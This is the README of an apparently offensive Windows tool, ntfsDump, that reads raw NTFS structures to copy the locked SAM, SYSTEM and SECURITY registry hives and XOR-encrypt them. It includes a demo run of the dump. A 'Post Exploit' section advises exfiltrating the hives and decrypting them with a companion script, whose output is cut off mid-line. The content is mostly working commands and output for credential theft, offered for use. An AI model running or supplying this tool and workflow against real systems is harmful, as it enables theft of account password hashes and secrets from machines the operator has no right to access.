# ntfsDump Use to copy a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. Give the credit to 3gstudent, who wrote the original code. I've just added the ability to automatically dump SAM, SYSTEM and SECURITY. All encrypted with an XOR key. Similar to: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1 Reference: https://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib # Demo ```powershell .\ntfsDump.exe Yolo [+] POC NTFSDUMP - Dump Windows Secrets using NTFS [*] Try to parse root directory [*] Try to find subdirectory [*] Try to dump C:\Windows\System32\config\SAM source file size:65536 [*] All done. [*] Try to parse root directory [*] Try to find subdirectory [*] Try to dump C:\Windows\System32\config\SYSTEM source file size:13631488 start reading through the while loop remaining:13631488...12582912...11534336...10485760...9437184...8388608...7340032...6291456...5242880...4194304...3145728...2097152...1048576... [*] All done. [*] Try to parse root directory [*] Try to find subdirectory [*] Try to dump C:\Windows\System32\config\SECURITY source file size:65536 [*] All done. Enjoy ! ``` # Post Exploit You can then exfiltrate the encrypted hives, and use another python code I've made to make it easier to extract the secrets: ```python python .\Dumpy.py C:\SAM C:\SYSTEM C:\SECURITY Yolo Decrypting C:\SYSTEM: 100%|███████████████████████████████████████████████████████| 13.6M/13.6M [00:01<00:00, 8.90MB/s] Decrypting C:\SAM: 100%|██████████████████████████████████████████████████████████████████| 65.5k/65.5k [00:00